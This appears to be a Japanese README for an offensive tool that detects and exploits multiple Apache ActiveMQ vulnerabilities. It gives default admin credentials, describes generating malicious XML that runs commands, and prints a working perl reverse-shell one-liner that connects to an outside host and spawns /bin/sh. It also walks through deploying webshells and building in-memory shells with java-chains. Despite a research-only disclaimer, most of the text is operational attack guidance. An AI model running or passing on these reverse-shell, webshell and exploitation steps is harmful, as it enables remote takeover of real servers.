
Apache ActiveMQの脆弱性を総合的に利用するツール(CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026-40466, CVE-2026-42588)
Apache ActiveMQの脆弱性の検出と悪用をサポート:CVE-2015-5254、CVE-2016-3088、CVE-2022-41678、CVE-2023-46604、CVE-2024-32114、CVE-2026-34197、CVE-2026-40466、CVE-2026-42588

[!WARNING] このツールはセキュリティ研究および学習目的専用です。利用者はこのツールを使用することにより生じるすべての法的責任および関連する責任を負うものとします。あなたの行動が現地の法律および規制に準拠していることを確認してください。作者は一切の責任を負いません。同意できない場合は、このツールを使用しないでください。
jdk8で起動、Openwireのデフォルトポートは61616ですが、ターゲット環境で開放されていない場合があります。Apache ActiveMQのデフォルトユーザー名とパスワードはadmin:adminです。BeanXML設定パネルでは、対応するコマンドを実行する悪意のあるXMLを生成できます。問題があればIssueを歓迎します。
脆弱性検出時には、悪意のあるXMLサーバーアドレスをdnslogに設定できます。リクエストを受信した場合、CVE-2023-46604、CVE-2026-34197、CVE-2026-40466、CVE-2026-42588が存在する可能性があります。
java-chainsで逆シリアル化データを生成します。脆弱性検証時にはURLDNSを使用できます。
シェルをリバースする際はperlを使用するのが最適です。shやbashではうまくいかない場合があります。
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

カスタムwebshell書き込み時、ビーシェルマは書き込み時に500エラーになりますが、ゴジラは正常です。ツール接続時には認証ヘッダーを追加する必要があります。
バージョン1.4からメモリシェル生成モジュールMemShellPartyを統合しなくなりました。理由の1つはfatjarパッケージが肥大化すること、もう1つはspringbeanxmlclassloaderで使用するbase64デコードメソッドがJavaバージョンによって異なり汎用的ではないため、ツールで車輪の再発明が必要になることです。メモリシェルが必要な方は、以下のXML生成手順を参考にしてください。
まずMemShellPartyで対応するメモリシェルのbase64文字列を生成します:https://party.mem.mk/ui

次にjava-chainsに移動し、Generate-OtherPayloadを選択し、カスタムバイトコードを選択します。

JDKバージョンに応じてbase64デコードメソッドを選択します。デフォルトはdecodeFromStringメソッドですが、vulhubのCVE-2026-34197ターゲットではjava.util.Base64を選択する必要があります。
最後にメモリシェルのBase64文字列を入力し、生成をクリックします。

Filter、Listener、またはServletタイプの場合、メモリシェルの接続アドレスにパス/admin/、/api/、および認証ヘッダーを追加する必要があります。handlerにはパスや認証ヘッダーフィールドは不要です。
謝辞